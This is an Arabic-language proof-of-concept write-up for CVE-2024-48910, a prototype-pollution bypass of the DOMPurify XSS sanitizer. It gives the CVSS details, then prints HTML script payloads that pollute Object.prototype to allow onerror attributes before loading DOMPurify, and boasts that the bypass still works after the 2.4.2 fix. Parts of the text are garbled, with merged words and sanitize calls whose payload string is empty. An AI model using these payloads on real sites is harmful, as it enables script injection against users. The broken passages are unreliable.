
إثبات مفهوم لاستغلال CVE-2024-48910، يوضح تجاوز تلوث النموذج الأولي لمعقم XSS في DOMPurify لتنفيذ JavaScript عشوائي عبر سمات HTML مصممة.
CVE-2024-48910 تم اكتشاف أن DOMPurify، وهو معقّم XSS سريع للغاية ومتسامح للغاية خاص بالـ DOM فقط، يعمل مع HTML وMathML وSVG، عرضة لتلوث النموذج الأولي (prototype pollution) (CVE-2024-48910). تم اكتشاف الثغرة وإصلاحها في الإصدار 2.4.2، مع الإفصاح الأولي في 31 أكتوبر 2024 .
قد تسمح ثغرة تلوث النموذج الأولي في DOMPurify للمهاجمين بالتلاعب بخصائص النموذج الأولي للكائنات، مما قد يؤدي إلى تجاوزات أمنية وتعديلات غير مصرح بها في سلوك التطبيق. تشير درجة CVSS المرتفعة إلى تأثير محتمل كبير على أمن النظام، خاصةً فيما يتعلق بسرية البيانات وسلامتها
تم تعيين درجة أساسية قدرها 9.1 (حرجة) وفقًا لـ CVSS v3.1 للثغرة، مع سلسلة متجهة CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N. يشير ذلك إلى أن الثغرة يمكن استغلالها عن بُعد بتعقيد هجوم منخفض، ولا تتطلب امتيازات أو تفاعلًا من المستخدم، ويمكن أن تؤدي إلى تأثير كبير على كل من السرية والسلامة، دون التأثير على التوفر
من سجلات التغييرات، يمكنك رؤية حالة اختبار أُضيفت تتضمن .__proto__.، مما يشير إلى أنها حقن في النموذج الأولي

السطر التالي الذي أُضيف كان، بمعنى أنه قبل ذلك كان يتم تقييم أي شيء إلى
truthytrueتم تجاوز حماية XSS - أصبح onerror الآن "مسموحًا"
<script>Object.prototype.hasOwnProperty=Object</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>
على الرغم من الترقية إلى 2.4.2، ما زلت أستطيع إظهار alert()... كل ما عليك فعله هو تعيين
Object.prototype.hasOwnProperty = () => true; لتجاوز الحماية LOL!!
<script>Object.prototype.hasOwnProperty = () => true;</script>
<script>Object.prototype.ALLOWED_ATTR=["src","onerror"]</script>
<script src=//cdn.jsdelivr.net/npm/[email protected]/dist/purify.min.js></script>
<script>document.write(DOMPurify.sanitize(''))</script>